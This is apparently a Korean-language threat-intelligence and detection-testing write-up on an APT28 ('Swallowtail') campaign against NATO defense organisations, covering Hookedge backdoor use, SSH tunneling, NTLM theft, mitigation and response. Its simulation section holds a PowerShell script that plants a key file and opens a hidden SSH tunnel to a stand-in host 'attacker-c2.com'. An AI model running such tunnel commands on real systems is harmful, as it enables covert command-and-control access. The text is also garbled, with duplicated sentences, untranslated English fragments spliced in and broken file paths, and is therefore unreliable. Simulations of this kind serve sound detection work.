러시아 연계 스월로테일, NATO 방위 산업 기업 타겟

요약

러시아 스파이 그룹 Swallowtail, APT28로도 추적되는 이들은 여러 달에 걸쳐 나토 회원국의 방위, 해양, 법 집행기관을 대상으로 침투를 수행했습니다. 공격자들은 Hookedge 백도어와 다른 문서화되지 않은 반사 로더 ld.exe를 배포하여 접근을 유지하고 메모리에서 페이로드를 실행했습니다. 이 캠페인에는 지속적인 네트워크 접근을 위한 SSH 터널링 및 PowerShell 기반의 NTLM 자격 증명 도난과 같은 고급 기법도 포함되었습니다. ld.exe 를 배포하여 접근을 유지하고 메모리에서 페이로드를 실행했습니다. 이 캠페인에는 지속적인 네트워크 접근을 위한 SSH 터널링 및 PowerShell 기반의 NTLM 자격 증명 도난과 같은 고급 기법도 포함되었습니다.

조사

Symantec의 위협 사냥 팀은 Outlook을 통해 전송된 매크로 지원 Word 문서에서 초기 감염을 추적했습니다. 분석가들은 webhook.site 및 숨겨진 Microsoft Edge 인스턴스를 사용하여 작업을 검색하는 전달 및 콜백 메커니즘을 식별했습니다. 공격자는 손으로 키보드를 조작하면서 정찰, 내부 네트워크 탐사, 횡적 이동 및 자격 증명 수집을 수행하며 손상된 환경에서 활동을 수행했습니다.

완화

조직은 알려진 악성 webhook.site 엔드포인트 차단 및 단일 픽셀 또는 화면 밖의 브라우저 창과 같은 비정상적인 Microsoft Edge 동작을 모니터링하는 데 우선 순위를 두어야 합니다. 승인되지 않은 SSH 연결을 방지하기 위해 엄격한 외부 필터링이 시행되어야 하며, 보안 팀은 의심스러운 PowerShell 리스너 활동을 모니터링해야 합니다. 엔드포인트 보호는 반사 로딩과 승인되지 않은 자격 증명 접근 시도도 감지해야 합니다.

응답

Hookedge 관련 활동이 감지되면 응답자는 즉시 영향을 받은 시스템을 격리하여 활성 SSH 터널과 C2 통신을 차단해야 합니다. 비문서화된 파일과 지속성 메커니즘을 찾기 위해 상세한 포렌식 검사를 수행하십시오. NTLM 자격 증명 도난 또는 SSH 키 노출 동안 잠재적으로 노출된 계정에 대해 포괄적인 자격 증명 재설정을 수행하십시오. ld.exe and inspect scheduled tasks for persistence mechanisms. Perform a comprehensive credential reset for accounts potentially exposed during NTLM credential theft or SSH key compromise.

시뮬레이션 실행

• 공격 내러티브 및 명령: 적은 자신의 Command and Control (C2) 인프라에 대한 지속적인 암호화 터널을 설정하려고 합니다. 그들은 훔친 SSH 개인 키를 C:ProgramDataAdobeid_rsa 에 떨어뜨려 정품 소프트웨어 메타데이터와 혼합되도록 합니다. 그런 다음 터널을 사용하여 ssh.exe를 실행하려고 시도합니다. 터널 설립 후, 그들은 Hookedge라는 사용자 정의 반사 로더를 사용하여 메모리에 악성 페이로드를 로드하려고 합니다. 이러한 행동은 정품 도구(와 인-메모리 실행을 사용하여 전통적인 경계 방어를 우회하도록 설계되었습니다. ld.exe. These actions are designed to bypass traditional perimeter defenses by using legitimate tools (ssh.exe)ld.exe).

• 회귀 테스트 스크립트:

  # 1. Swallowtail SSH 터널링 시뮬레이션
  $dir = "C:ProgramDataAdobe"
  if (!(Test-Path $dir)) { New-Item -ItemType Directory -Path $dir -Force }
  $keyPath = "$dirid_rsa"
  "MIIEpAIBAAKCAQEA75..." | Out-File -FilePath $keyPath -Encoding ascii
  
  # 정확한 명령줄 매치를 통해 SSH 탐지 트리거
  Start-Process "C:WindowsSystem32OpenSSHssh.exe" -ArgumentList "-i $keyPath user@attacker-c2.com" -WindowStyle Hidden
  
  # 2. 반사 로더 실행 시뮬레이션
  # 원격 생성용 더미 ld.exe 생성
  $dummyLoader = "C:WindowsTempld.exe"
  New-Item -ItemType File -Path $dummyLoader -Force
  # 참고: 실제 시나리오에서는 바이너리겠지만, 여기서는 프로세스 생성 이벤트를 시뮬레이션합니다
  Start-Process $dummyLoader -ArgumentList "payload.enc" -WindowStyle Hidden

• 정리 명령:

  # 시뮬레이트된 악성 파일 및 디렉터리 제거
  Remove-Item -Path "C:ProgramDataAdobe" -Recurse -Force -ErrorAction SilentlyContinue
  Remove-Item -Path "C:WindowsTempld.exe" -Force -ErrorAction SilentlyContinue